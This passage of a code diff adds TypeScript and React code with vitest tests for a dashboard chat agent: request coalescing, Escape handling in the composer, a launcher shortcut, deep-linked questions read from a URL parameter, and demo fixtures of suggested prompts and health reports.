finish(index: number) {
|
||||
gates[index]!();
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
const settle = () => new Promise<void>((resolve) => setTimeout(resolve, 0));
|
||||
|
||||
describe("createCoalescedReload", () => {
|
||||
it("does not resolve a mid-flight request with data the first run already fetched", async () => {
|
||||
const c = controllable();
|
||||
const reload = createCoalescedReload(c.run);
|
||||
|
||||
reload();
|
||||
let late = false;
|
||||
const lateRequest = reload().then(() => {
|
||||
late = true;
|
||||
});
|
||||
|
||||
c.finish(0);
|
||||
await settle();
|
||||
// The first run is done, but it started before the late request was made.
|
||||
expect(late).toBe(false);
|
||||
expect(c.started).toBe(2);
|
||||
|
||||
c.finish(1);
|
||||
await settle();
|
||||
await lateRequest;
|
||||
expect(late).toBe(true);
|
||||
});
|
||||
|
||||
it("queues at most one follow-up however many requests pile up", async () => {
|
||||
const c = controllable();
|
||||
const reload = createCoalescedReload(c.run);
|
||||
|
||||
reload();
|
||||
const later = [reload(), reload(), reload()];
|
||||
|
||||
c.finish(0);
|
||||
await settle();
|
||||
expect(c.started).toBe(2);
|
||||
|
||||
c.finish(1);
|
||||
await settle();
|
||||
await Promise.all(later);
|
||||
expect(c.started).toBe(2);
|
||||
});
|
||||
|
||||
it("still serves the queued request when the run in front of it fails", async () => {
|
||||
let started = 0;
|
||||
const reload = createCoalescedReload(async () => {
|
||||
started++;
|
||||
if (started === 1) throw new Error("history request failed");
|
||||
});
|
||||
|
||||
const first = reload().catch(() => {});
|
||||
const second = reload();
|
||||
|
||||
await first;
|
||||
await second;
|
||||
expect(started).toBe(2);
|
||||
});
|
||||
|
||||
it("joins the queued run when a request lands as the run in front of it settles", async () => {
|
||||
const c = controllable();
|
||||
const reload = createCoalescedReload(c.run);
|
||||
|
||||
const first = reload();
|
||||
// Runs in the window between the first run settling and the queued one starting.
|
||||
void first.then(() => {
|
||||
void reload();
|
||||
});
|
||||
void reload();
|
||||
|
||||
c.finish(0);
|
||||
await settle();
|
||||
expect(c.started).toBe(2);
|
||||
});
|
||||
|
||||
it("starts a fresh run once nothing is in flight", async () => {
|
||||
const c = controllable();
|
||||
const reload = createCoalescedReload(c.run);
|
||||
|
||||
const first = reload();
|
||||
c.finish(0);
|
||||
await first;
|
||||
|
||||
reload();
|
||||
expect(c.started).toBe(2);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,33 @@
|
||||
/**
|
||||
* Coalesces reload requests without ever answering one with data older than it. Joining the
|
||||
* in-flight run would resolve a reload asked for after a turn finished with the list fetched
|
||||
* before it — the new chat missing, the title still the placeholder. So a request that arrives
|
||||
* mid-flight waits for a run started after it, and at most one such run is ever queued.
|
||||
*/
|
||||
export function createCoalescedReload(run: () => Promise<void>): () => Promise<void> {
|
||||
let inFlight: Promise<void> | null = null;
|
||||
let queued: Promise<void> | null = null;
|
||||
|
||||
const start = (): Promise<void> => {
|
||||
const current = run().finally(() => {
|
||||
if (inFlight === current) inFlight = null;
|
||||
});
|
||||
inFlight = current;
|
||||
return current;
|
||||
};
|
||||
|
||||
return () => {
|
||||
// Queued first: `inFlight` is cleared one microtask before the queued run starts.
|
||||
if (queued) return queued;
|
||||
if (!inFlight) return start();
|
||||
// Settles either way: a failed run must not strand the queued one.
|
||||
const next = inFlight
|
||||
.catch(() => {})
|
||||
.then(() => {
|
||||
queued = null;
|
||||
return start();
|
||||
});
|
||||
queued = next;
|
||||
return next;
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
import { readFileSync } from "node:fs";
|
||||
import { join } from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { composerEscapeAction } from "./composer-escape";
|
||||
|
||||
const COMPOSER = readFileSync(join(__dirname, "DashboardAgentComposer.tsx"), "utf8");
|
||||
|
||||
describe("Escape while the composer has focus", () => {
|
||||
it("is kept by the composer on the first Escape with a draft, so the panel stays open", () => {
|
||||
expect(composerEscapeAction("half a question about a failing run", true)).toBe("swallow");
|
||||
});
|
||||
|
||||
it("lets a second consecutive Escape through, so the panel closes", () => {
|
||||
expect(composerEscapeAction("half a question about a failing run", false)).toBe("pass");
|
||||
});
|
||||
|
||||
it("guards the draft again once the guard is re-armed by typing", () => {
|
||||
expect(composerEscapeAction("half a question, now longer", true)).toBe("swallow");
|
||||
});
|
||||
|
||||
it("closes the panel on the first Escape when there is nothing to lose", () => {
|
||||
expect(composerEscapeAction("", true)).toBe("pass");
|
||||
});
|
||||
|
||||
it("reads whitespace as nothing to lose, matching what Send accepts", () => {
|
||||
expect(composerEscapeAction(" \n ", true)).toBe("pass");
|
||||
});
|
||||
});
|
||||
|
||||
// Source-level checks: the guard's step is spent in the composer, not in the pure helper.
|
||||
describe("the composer's Escape wiring", () => {
|
||||
it("disarms the guard in the swallow branch, so the next Escape passes", () => {
|
||||
expect(COMPOSER).toMatch(
|
||||
/=== "swallow"\s*\)\s*\{\s*e\.preventDefault\(\);\s*escapeGuardArmed\.current = false;/
|
||||
);
|
||||
});
|
||||
|
||||
it("swallows an IME-cancelling Escape without spending the guard's step", () => {
|
||||
expect(COMPOSER).toMatch(
|
||||
/e\.key === "Escape" && e\.nativeEvent\.isComposing\s*\)\s*\{\s*e\.preventDefault\(\);\s*return;/
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,11 @@
|
||||
export type ComposerEscapeAction = "swallow" | "pass";
|
||||
|
||||
/**
|
||||
* The panel closes on Escape unless a child has already prevented the event's default —
|
||||
* `defaultPrevented` is how a child vetoes the close. Escape is two-step while a draft
|
||||
* exists: the first one is swallowed so the draft survives, a second consecutive one
|
||||
* passes through and closes the panel. Anything else re-arms the guard.
|
||||
*/
|
||||
export function composerEscapeAction(draft: string, guardArmed: boolean): ComposerEscapeAction {
|
||||
return draft.trim() !== "" && guardArmed ? "swallow" : "pass";
|
||||
}
|
||||
@@ -1,18 +1,33 @@
|
||||
import { ChatBubbleLeftRightIcon, ChevronDoubleRightIcon } from "@heroicons/react/20/solid";
|
||||
import { createContext, useContext } from "react";
|
||||
import { cn } from "~/utils/cn";
|
||||
import { Button } from "~/components/primitives/Buttons";
|
||||
import { ShortcutKey } from "~/components/primitives/ShortcutKey";
|
||||
import { SimpleTooltip } from "~/components/primitives/Tooltip";
|
||||
import type { Shortcut } from "~/hooks/useShortcutKeys";
|
||||
import { ASK_AGENT_LABEL } from "./agent-identity";
|
||||
|
||||
// Registered once, by `DashboardAgent`. The launcher only displays it.
|
||||
export const TOGGLE_PANEL_SHORTCUT: Shortcut = {
|
||||
modifiers: ["mod"],
|
||||
key: "j",
|
||||
// The composer holds focus while the panel is open, so the key must fire from
|
||||
// inside a text field.
|
||||
enabledOnInputElements: true,
|
||||
// Chrome binds Cmd/Ctrl-J to Show Downloads.
|
||||
preventDefault: true,
|
||||
};
|
||||
|
||||
type DashboardAgentContextValue = {
|
||||
open: boolean;
|
||||
setOpen: (open: boolean) => void;
|
||||
/** Sent as the first message of a new chat; with a chat open it only fills the composer. */
|
||||
openWith: (text: string) => void;
|
||||
};
|
||||
|
||||
const DashboardAgentContext = createContext<DashboardAgentContextValue | null>(null);
|
||||
|
||||
export const DashboardAgentProvider = DashboardAgentContext.Provider;
|
||||
|
||||
// Null outside the env layout (no provider) or when the agent is gated off, so
|
||||
// the launcher self-hides everywhere it can't open.
|
||||
// Null outside the env layout (no provider) or when the agent is gated off.
|
||||
export function useDashboardAgent() {
|
||||
return useContext(DashboardAgentContext);
|
||||
}
|
||||
@@ -24,25 +39,32 @@ export function DashboardAgentLauncher() {
|
||||
}
|
||||
|
||||
const { open, setOpen } = agent;
|
||||
if (open) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<button
|
||||
type="button"
|
||||
aria-label={open ? "Collapse chat" : "Open chat"}
|
||||
onClick={() => setOpen(!open)}
|
||||
className={cn(
|
||||
"flex shrink-0 items-center gap-1.5 rounded-full border px-2.5 py-1 text-xs text-text-bright transition",
|
||||
open
|
||||
? "border-border-brighter bg-background-hover"
|
||||
: "border-border-bright bg-background-bright hover:border-border-brighter"
|
||||
)}
|
||||
>
|
||||
{open ? (
|
||||
<ChevronDoubleRightIcon className="size-3.5 text-text-dimmed" />
|
||||
) : (
|
||||
<ChatBubbleLeftRightIcon className="size-3.5 text-indigo-500" />
|
||||
)}
|
||||
{open ? "Collapse" : "Chat"}
|
||||
</button>
|
||||
<SimpleTooltip
|
||||
asChild
|
||||
tabbable
|
||||
disableHoverableContent
|
||||
content={
|
||||
<span className="flex items-center">
|
||||
Open chat
|
||||
<ShortcutKey shortcut={TOGGLE_PANEL_SHORTCUT} variant="medium" />
|
||||
</span>
|
||||
}
|
||||
button={
|
||||
<span className="relative inline-flex shrink-0">
|
||||
<Button
|
||||
variant="ask-trigger/small"
|
||||
aria-label={ASK_AGENT_LABEL}
|
||||
onClick={() => setOpen(true)}
|
||||
>
|
||||
{ASK_AGENT_LABEL}
|
||||
</Button>
|
||||
</span>
|
||||
}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { consumeDeepLinkQuestion } from "./dashboardAgentOpenRequest";
|
||||
|
||||
const NAMES = ["aiHelp"];
|
||||
|
||||
/**
|
||||
* The reader is an effect over `useSearchParams`. Dropping the param is a navigation, so the
|
||||
* effect can run again on the original params before it commits; without a record of what was
|
||||
* already sent, the deep-linked question is asked twice.
|
||||
*/
|
||||
describe("consumeDeepLinkQuestion", () => {
|
||||
const params = (search: string) => new URLSearchParams(search);
|
||||
|
||||
it("hands over the question the first time it sees it", () => {
|
||||
expect(consumeDeepLinkQuestion(params("?aiHelp=why+is+it+slow"), NAMES, null)).toEqual({
|
||||
question: "why is it slow",
|
||||
sent: "why is it slow",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not hand it over again while the param is still in the URL", () => {
|
||||
const first = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, null);
|
||||
expect(first.question).toBe("why");
|
||||
expect(consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, first.sent).question).toBeNull();
|
||||
});
|
||||
|
||||
it("keeps the record until the param is gone, however many renders that takes", () => {
|
||||
let sent: string | null = null;
|
||||
let asked = 0;
|
||||
for (let render = 0; render < 5; render++) {
|
||||
const result = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, sent);
|
||||
sent = result.sent;
|
||||
if (result.question !== null) asked++;
|
||||
}
|
||||
expect(asked).toBe(1);
|
||||
});
|
||||
|
||||
it("forgets the question once the URL no longer carries it, so a later visit works", () => {
|
||||
const first = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, null);
|
||||
const cleared = consumeDeepLinkQuestion(params(""), NAMES, first.sent);
|
||||
expect(cleared).toEqual({ question: null, sent: null });
|
||||
expect(consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, cleared.sent).question).toBe(
|
||||
"why"
|
||||
);
|
||||
});
|
||||
|
||||
it("asks a different question that arrives before the first is dropped", () => {
|
||||
const first = consumeDeepLinkQuestion(params("?aiHelp=why"), NAMES, null);
|
||||
expect(consumeDeepLinkQuestion(params("?aiHelp=how"), NAMES, first.sent).question).toBe("how");
|
||||
});
|
||||
|
||||
it("has nothing to ask when no watched param is present", () => {
|
||||
expect(consumeDeepLinkQuestion(params("?other=x"), NAMES, null)).toEqual({
|
||||
question: null,
|
||||
sent: null,
|
||||
});
|
||||
expect(consumeDeepLinkQuestion(params("?aiHelp=why"), [], null).question).toBeNull();
|
||||
});
|
||||
|
||||
it("ignores an empty question", () => {
|
||||
expect(consumeDeepLinkQuestion(params("?aiHelp="), NAMES, null).question).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,104 @@
|
||||
import { useEffect, useRef, useSyncExternalStore } from "react";
|
||||
import { useSearchParams } from "@remix-run/react";
|
||||
|
||||
// Module-level bridge: `DashboardAgentProvider` is mounted by the environment layout, so
|
||||
// callers above it cannot reach the agent through context.
|
||||
|
||||
export type DashboardAgentOpenRequest = {
|
||||
/** Omitted just opens the panel. */
|
||||
prompt?: string;
|
||||
};
|
||||
|
||||
type Handler = (request: DashboardAgentOpenRequest) => void;
|
||||
|
||||
const handlers = new Set<Handler>();
|
||||
const availabilityListeners = new Set<() => void>();
|
||||
|
||||
function notifyAvailability() {
|
||||
for (const listener of availabilityListeners) listener();
|
||||
}
|
||||
|
||||
/** Returns the unsubscribe. */
|
||||
export function registerDashboardAgentHost(handler: Handler): () => void {
|
||||
handlers.add(handler);
|
||||
notifyAvailability();
|
||||
return () => {
|
||||
handlers.delete(handler);
|
||||
notifyAvailability();
|
||||
};
|
||||
}
|
||||
|
||||
/** Returns false when no host is mounted. */
|
||||
export function requestDashboardAgent(prompt?: string): boolean {
|
||||
if (handlers.size === 0) return false;
|
||||
for (const handler of handlers) handler({ prompt });
|
||||
return true;
|
||||
}
|
||||
|
||||
function subscribeToAvailability(listener: () => void): () => void {
|
||||
availabilityListeners.add(listener);
|
||||
return () => availabilityListeners.delete(listener);
|
||||
}
|
||||
|
||||
export function useDashboardAgentAvailable(): boolean {
|
||||
return useSyncExternalStore(
|
||||
subscribeToAvailability,
|
||||
() => handlers.size > 0,
|
||||
// The host mounts client-side only, so the server snapshot is always unavailable.
|
||||
() => false
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* The deep-link question still in the URL, or null when there is none left to ask. `sent` is the
|
||||
* question already handed to the agent: `setSearchParams` only starts the navigation that drops
|
||||
* the param, so every render until it commits sees the question again. Clearing `sent` once the
|
||||
* param is gone lets the same question arrive a second time on a later visit.
|
||||
*/
|
||||
export function consumeDeepLinkQuestion(
|
||||
params: URLSearchParams,
|
||||
names: readonly string[],
|
||||
sent: string | null
|
||||
): { question: string | null; sent: string | null } {
|
||||
const name = names.find((candidate) => params.get(candidate));
|
||||
if (!name) return { question: null, sent: null };
|
||||
const question = params.get(name)!;
|
||||
if (question === sent) return { question: null, sent };
|
||||
return { question, sent: question };
|
||||
}
|
||||
|
||||
/** While `enabled` is false nothing is registered, so every entry point stays hidden. */
|
||||
export function useDashboardAgentOpenRequests({
|
||||
enabled,
|
||||
openWith,
|
||||
setOpen,
|
||||
/** `agentDeepLinkParams` decides these; `aiHelp` is Ask AI's unless it cannot open. */
|
||||
deepLinkParams,
|
||||
}: {
|
||||
enabled: boolean;
|
||||
openWith: (text: string) => void;
|
||||
setOpen: (open: boolean) => void;
|
||||
deepLinkParams: readonly string[];
|
||||
}) {
|
||||
useEffect(() => {
|
||||
if (!enabled) return;
|
||||
return registerDashboardAgentHost(({ prompt }) => (prompt ? openWith(prompt) : setOpen(true)));
|
||||
}, [enabled, openWith, setOpen]);
|
||||
|
||||
const [searchParams, setSearchParams] = useSearchParams();
|
||||
const sent = useRef<string | null>(null);
|
||||
useEffect(() => {
|
||||
if (!enabled) return;
|
||||
const { question, sent: nextSent } = consumeDeepLinkQuestion(
|
||||
searchParams,
|
||||
deepLinkParams,
|
||||
sent.current
|
||||
);
|
||||
sent.current = nextSent;
|
||||
if (question === null) return;
|
||||
const next = new URLSearchParams(searchParams);
|
||||
for (const name of deepLinkParams) next.delete(name);
|
||||
setSearchParams(next, { replace: true, preventScrollReset: true });
|
||||
openWith(question);
|
||||
}, [enabled, searchParams, setSearchParams, openWith, deepLinkParams]);
|
||||
}
|
||||
@@ -0,0 +1,239 @@
|
||||
// Inputs shared with `resolver.test.ts`.
|
||||
import type {
|
||||
AgentPageContext,
|
||||
AgentPageSignal,
|
||||
SuggestedPrompt,
|
||||
} from "@internal/dashboard-agent-contracts";
|
||||
import { SUGGESTED_PROMPT_CAP } from "@internal/dashboard-agent-contracts";
|
||||
import { DEMO_WORLD, demoId } from "../ids";
|
||||
|
||||
export const demoFreshFailureSignal: AgentPageSignal = {
|
||||
kind: "fresh_failure",
|
||||
runId: DEMO_WORLD.failedRunId,
|
||||
failedAt: "2026-07-27T10:13:41.000Z",
|
||||
};
|
||||
|
||||
export const demoWaitingRunSignal: AgentPageSignal = {
|
||||
kind: "waiting_run",
|
||||
runId: DEMO_WORLD.waitingRunId,
|
||||
queue: DEMO_WORLD.queue,
|
||||
};
|
||||
|
||||
export const demoSlowRunSignal: AgentPageSignal = {
|
||||
kind: "slow_run",
|
||||
runId: DEMO_WORLD.slowRunId,
|
||||
durationMs: 1_421_000,
|
||||
baselineP95Ms: 183_000,
|
||||
};
|
||||
|
||||
export const demoConcurrencySaturationSignal: AgentPageSignal = {
|
||||
kind: "concurrency_saturation",
|
||||
severity: "crit",
|
||||
};
|
||||
|
||||
// Priority order.
|
||||
export const demoSignalsByPriority: AgentPageSignal[] = [
|
||||
demoFreshFailureSignal,
|
||||
demoWaitingRunSignal,
|
||||
demoSlowRunSignal,
|
||||
demoConcurrencySaturationSignal,
|
||||
];
|
||||
|
||||
export const demoFailedRunPageContext: AgentPageContext = {
|
||||
page: {
|
||||
kind: "run",
|
||||
runId: DEMO_WORLD.failedRunId,
|
||||
status: "Failed",
|
||||
taskId: DEMO_WORLD.taskId,
|
||||
queue: DEMO_WORLD.queue,
|
||||
},
|
||||
signals: [demoFreshFailureSignal],
|
||||
};
|
||||
|
||||
export const demoWaitingRunPageContext: AgentPageContext = {
|
||||
page: {
|
||||
kind: "run",
|
||||
runId: DEMO_WORLD.waitingRunId,
|
||||
status: "Queued",
|
||||
taskId: DEMO_WORLD.taskId,
|
||||
queue: DEMO_WORLD.queue,
|
||||
},
|
||||
signals: [demoWaitingRunSignal, demoConcurrencySaturationSignal],
|
||||
};
|
||||
|
||||
export const demoSlowRunPageContext: AgentPageContext = {
|
||||
page: {
|
||||
kind: "run",
|
||||
runId: DEMO_WORLD.slowRunId,
|
||||
status: "Executing",
|
||||
taskId: DEMO_WORLD.slowTaskId,
|
||||
},
|
||||
signals: [demoSlowRunSignal],
|
||||
};
|
||||
|
||||
export const demoRunsPageContext: AgentPageContext = {
|
||||
page: { kind: "runs", filters: { statuses: ["COMPLETED_WITH_ERROR"], period: "24h" } },
|
||||
signals: [demoFreshFailureSignal],
|
||||
};
|
||||
|
||||
export const demoErrorPageContext: AgentPageContext = {
|
||||
page: { kind: "error", fingerprint: DEMO_WORLD.errorFingerprint },
|
||||
signals: [demoFreshFailureSignal],
|
||||
};
|
||||
|
||||
export const demoQueuePageContext: AgentPageContext = {
|
||||
page: { kind: "queue", name: DEMO_WORLD.queue, health: "crit" },
|
||||
signals: [demoConcurrencySaturationSignal, demoWaitingRunSignal],
|
||||
};
|
||||
|
||||
export const demoDeploymentPageContext: AgentPageContext = {
|
||||
page: { kind: "deployment", version: DEMO_WORLD.deploymentVersion },
|
||||
signals: [],
|
||||
};
|
||||
|
||||
export const demoOtherPageContext: AgentPageContext = {
|
||||
page: { kind: "other", path: "/orgs/demo/projects/demo/env/prod/settings" },
|
||||
signals: [],
|
||||
};
|
||||
|
||||
export const demoPageContexts = {
|
||||
failedRun: demoFailedRunPageContext,
|
||||
waitingRun: demoWaitingRunPageContext,
|
||||
slowRun: demoSlowRunPageContext,
|
||||
runs: demoRunsPageContext,
|
||||
error: demoErrorPageContext,
|
||||
queue: demoQueuePageContext,
|
||||
deployment: demoDeploymentPageContext,
|
||||
other: demoOtherPageContext,
|
||||
} as const;
|
||||
|
||||
export type DemoPageContextKey = keyof typeof demoPageContexts;
|
||||
|
||||
const prompt = (
|
||||
id: string,
|
||||
label: string,
|
||||
promptText: string,
|
||||
source: SuggestedPrompt["source"]
|
||||
): SuggestedPrompt => ({ id: demoId(`prompt-${id}`), label, prompt: promptText, source });
|
||||
|
||||
const DEFAULT_PROMPTS: SuggestedPrompt[] = [
|
||||
prompt("what-can-you-do", "What can you help me with?", "What can you help me with?", "default"),
|
||||
prompt("retries", "How do retries work?", "How do retries work in Trigger.dev?", "default"),
|
||||
prompt(
|
||||
"health",
|
||||
"How's my environment?",
|
||||
"Give me a health report for this environment.",
|
||||
"default"
|
||||
),
|
||||
];
|
||||
|
||||
export const demoPromptSets: Record<DemoPageContextKey, SuggestedPrompt[]> = {
|
||||
failedRun: [
|
||||
prompt(
|
||||
"investigate-failure",
|
||||
"Why did this run fail?",
|
||||
`Investigate why ${DEMO_WORLD.failedRunId} failed.`,
|
||||
"promoted"
|
||||
),
|
||||
prompt(
|
||||
"same-error",
|
||||
"Is this happening to other runs?",
|
||||
"How many other runs failed with this error in the last hour?",
|
||||
"contextual"
|
||||
),
|
||||
DEFAULT_PROMPTS[1]!,
|
||||
],
|
||||
waitingRun: [
|
||||
prompt(
|
||||
"why-waiting",
|
||||
"Why hasn't this started?",
|
||||
`Why is ${DEMO_WORLD.waitingRunId} still queued?`,
|
||||
"promoted"
|
||||
),
|
||||
prompt(
|
||||
"backlog-drain",
|
||||
"When will the backlog clear?",
|
||||
`When will the ${DEMO_WORLD.queue} backlog drain?`,
|
||||
"contextual"
|
||||
),
|
||||
DEFAULT_PROMPTS[2]!,
|
||||
],
|
||||
slowRun: [
|
||||
prompt(
|
||||
"why-slow",
|
||||
"Why is this run slow?",
|
||||
`Why is ${DEMO_WORLD.slowRunId} taking so long?`,
|
||||
"promoted"
|
||||
),
|
||||
prompt(
|
||||
"compare-baseline",
|
||||
"Compare to a normal run",
|
||||
`How does ${DEMO_WORLD.slowRunId} compare to a normal run of this task?`,
|
||||
"contextual"
|
||||
),
|
||||
DEFAULT_PROMPTS[0]!,
|
||||
],
|
||||
runs: [
|
||||
prompt(
|
||||
"failure-pattern",
|
||||
"What's failing most?",
|
||||
"Which tasks are failing most in the last 24 hours?",
|
||||
"promoted"
|
||||
),
|
||||
prompt(
|
||||
"chart-failures",
|
||||
"Chart the failures",
|
||||
"Chart failed runs per hour by task over the last 24 hours.",
|
||||
"contextual"
|
||||
),
|
||||
DEFAULT_PROMPTS[2]!,
|
||||
],
|
||||
error: [
|
||||
prompt(
|
||||
"explain-error",
|
||||
"Explain this error",
|
||||
"Explain this error and what usually causes it.",
|
||||
"promoted"
|
||||
),
|
||||
DEFAULT_PROMPTS[1]!,
|
||||
],
|
||||
queue: [
|
||||
prompt(
|
||||
"why-saturated",
|
||||
"Why is this queue backed up?",
|
||||
`Why is ${DEMO_WORLD.queue} backed up?`,
|
||||
"promoted"
|
||||
),
|
||||
prompt(
|
||||
"raise-limit",
|
||||
"Should I raise the limit?",
|
||||
"Should I raise the concurrency limit on this queue?",
|
||||
"contextual"
|
||||
),
|
||||
DEFAULT_PROMPTS[2]!,
|
||||
],
|
||||
deployment: [
|
||||
prompt(
|
||||
"deploy-diff",
|
||||
"What changed in this deploy?",
|
||||
"What changed in this deployment?",
|
||||
"contextual"
|
||||
),
|
||||
...DEFAULT_PROMPTS.slice(0, 2),
|
||||
],
|
||||
other: DEFAULT_PROMPTS,
|
||||
};
|
||||
|
||||
export const demoDismissedPromptIds: string[] = [];
|
||||
|
||||
export const demoPromptsAfterDismissal: SuggestedPrompt[] = demoPromptSets.failedRun
|
||||
.filter((p) => !demoDismissedPromptIds.includes(p.id))
|
||||
.slice(0, SUGGESTED_PROMPT_CAP);
|
||||
|
||||
export const demoPrompts = {
|
||||
sets: demoPromptSets,
|
||||
defaults: DEFAULT_PROMPTS,
|
||||
dismissedIds: demoDismissedPromptIds,
|
||||
afterDismissal: demoPromptsAfterDismissal,
|
||||
cap: SUGGESTED_PROMPT_CAP,
|
||||
} as const;
|
||||
@@ -0,0 +1,228 @@
|
||||
import type { ReportViewModel } from "~/presenters/v3/reports/report-view-model";
|
||||
import { DEMO_WORLD } from "../ids";
|
||||
|
||||
const calm = (base: number, jitter: number) =>
|
||||
Array.from({ length: 60 }, (_, i) => base + Math.round(Math.sin(i / 4) * jitter));
|
||||
|
||||
const ramp = (from: number, to: number) =>
|
||||
Array.from({ length: 60 }, (_, i) => Math.round(from + ((to - from) * i) / 59));
|
||||
|
||||
export const demoHealthyReport: ReportViewModel = {
|
||||
title: "health",
|
||||
scope: "prod",
|
||||
period: "last 1h",
|
||||
baselineLabel: "vs your 7d normal",
|
||||
generatedAt: "2026-07-27T10:15:00.000Z",
|
||||
windowMinutes: 60,
|
||||
summary: {
|
||||
severity: "ok",
|
||||
statements: [
|
||||
{ findingType: "flow", severity: "ok" },
|
||||
{ findingType: "execution", severity: "ok" },
|
||||
{ findingType: "liveness", severity: "ok" },
|
||||
],
|
||||
},
|
||||
findings: [
|
||||
{
|
||||
type: "flow",
|
||||
severity: "ok",
|
||||
reason: "healthy",
|
||||
read: "starting_normally",
|
||||
metricIds: ["start_latency_p95", "pending", "throughput"],
|
||||
},
|
||||
{
|
||||
type: "execution",
|
||||
severity: "ok",
|
||||
reason: "healthy",
|
||||
read: "runs_are_fine",
|
||||
metricIds: ["failures", "dur_p95"],
|
||||
},
|
||||
{
|
||||
type: "liveness",
|
||||
severity: "ok",
|
||||
reason: "fresh",
|
||||
metricIds: ["liveness"],
|
||||
},
|
||||
],
|
||||
metrics: [
|
||||
{
|
||||
id: "start_latency_p95",
|
||||
value: 6_800,
|
||||
unit: "ms",
|
||||
aggregation: "p95",
|
||||
normal: 7_000,
|
||||
delta: { dir: "down", mult: 1 },
|
||||
series: { points: calm(6_800, 400), kind: "measured" },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "pending",
|
||||
value: 34,
|
||||
unit: "count",
|
||||
normal: 40,
|
||||
delta: { dir: "down", mult: 1 },
|
||||
series: { points: calm(36, 8), kind: "measured" },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "throughput",
|
||||
value: 12,
|
||||
unit: "perMin",
|
||||
aggregation: "rate",
|
||||
breakdown: { done: 842, triggered: 830 },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "failures",
|
||||
value: 0.004,
|
||||
unit: "ratio",
|
||||
aggregation: "ratio",
|
||||
normal: 0.005,
|
||||
delta: { dir: "down", mult: 1 },
|
||||
series: { points: calm(4, 2).map((n) => n / 1000), kind: "measured" },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "dur_p95",
|
||||
value: 4_100,
|
||||
unit: "ms",
|
||||
aggregation: "p95",
|
||||
normal: 4_000,
|
||||
delta: { dir: "flat", mult: 1 },
|
||||
severity: "ok",
|
||||
},
|
||||
{ id: "liveness", value: 21_000, unit: "ms", availability: "measured", severity: "ok" },
|
||||
],
|
||||
facts: { trustworthy: true, flowSource: "queue", pendingEstimated: false },
|
||||
links: [],
|
||||
footer: [{ code: "nothing_to_do" }],
|
||||
};
|
||||
|
||||
export const demoDegradedReport: ReportViewModel = {
|
||||
title: "health",
|
||||
scope: "prod",
|
||||
period: "last 1h",
|
||||
baselineLabel: "vs your 7d normal",
|
||||
generatedAt: "2026-07-27T10:15:00.000Z",
|
||||
windowMinutes: 60,
|
||||
summary: {
|
||||
severity: "crit",
|
||||
statements: [
|
||||
{ findingType: "flow", severity: "crit" },
|
||||
{ findingType: "execution", severity: "ok" },
|
||||
{ findingType: "liveness", severity: "ok" },
|
||||
],
|
||||
},
|
||||
findings: [
|
||||
{
|
||||
type: "flow",
|
||||
severity: "crit",
|
||||
reason: "env_limit_saturation",
|
||||
read: "saturation_chain",
|
||||
metricIds: ["concurrency", "pending", "start_latency_p95", "throughput"],
|
||||
recommendation: { code: "raise_env_limit", link: "concurrency_docs" },
|
||||
anomalyWindow: { minutes: 38, touchesEnd: true },
|
||||
attribution: { dim: "queue", key: DEMO_WORLD.queue, share: 0.71, of: "pending" },
|
||||
exclusions: [{ code: "not_your_code", evidence: { failures: 0.006 } }],
|
||||
observations: [{ code: "not_workers_platform", evidence: { rate: 820 } }],
|
||||
},
|
||||
{
|
||||
type: "execution",
|
||||
severity: "ok",
|
||||
reason: "healthy",
|
||||
read: "not_a_code_problem",
|
||||
metricIds: ["failures", "dur_p95"],
|
||||
},
|
||||
{ type: "liveness", severity: "ok", reason: "fresh", metricIds: ["liveness"] },
|
||||
],
|
||||
metrics: [
|
||||
{
|
||||
id: "start_latency_p95",
|
||||
value: 43_000,
|
||||
unit: "ms",
|
||||
aggregation: "p95",
|
||||
normal: 7_000,
|
||||
delta: { dir: "up", mult: 6 },
|
||||
series: { points: ramp(7_000, 43_000), kind: "measured" },
|
||||
severity: "crit",
|
||||
},
|
||||
{
|
||||
id: "pending",
|
||||
value: 4_812,
|
||||
unit: "count",
|
||||
normal: 40,
|
||||
delta: { dir: "up", mult: 120 },
|
||||
series: { points: ramp(60, 4_812), kind: "measured" },
|
||||
severity: "crit",
|
||||
},
|
||||
{
|
||||
id: "throughput",
|
||||
value: -180,
|
||||
unit: "perMin",
|
||||
aggregation: "rate",
|
||||
breakdown: { done: 820, triggered: 1_000 },
|
||||
severity: "warn",
|
||||
},
|
||||
{
|
||||
id: "failures",
|
||||
value: 0.006,
|
||||
unit: "ratio",
|
||||
aggregation: "ratio",
|
||||
normal: 0.005,
|
||||
delta: { dir: "up", mult: 1 },
|
||||
series: { points: calm(6, 2).map((n) => n / 1000), kind: "measured" },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "dur_p95",
|
||||
value: 4_200,
|
||||
unit: "ms",
|
||||
aggregation: "p95",
|
||||
normal: 4_000,
|
||||
delta: { dir: "flat", mult: 1 },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "concurrency",
|
||||
value: 50,
|
||||
unit: "count",
|
||||
breakdown: { limit: 50 },
|
||||
series: { points: ramp(28, 50), kind: "measured" },
|
||||
annotation: { code: "pinned_minutes", value: 38 },
|
||||
severity: "ok",
|
||||
},
|
||||
{
|
||||
id: "triggered",
|
||||
value: 1_000,
|
||||
unit: "perMin",
|
||||
normal: 840,
|
||||
delta: { dir: "up", mult: 1 },
|
||||
severity: "ok",
|
||||
},
|
||||
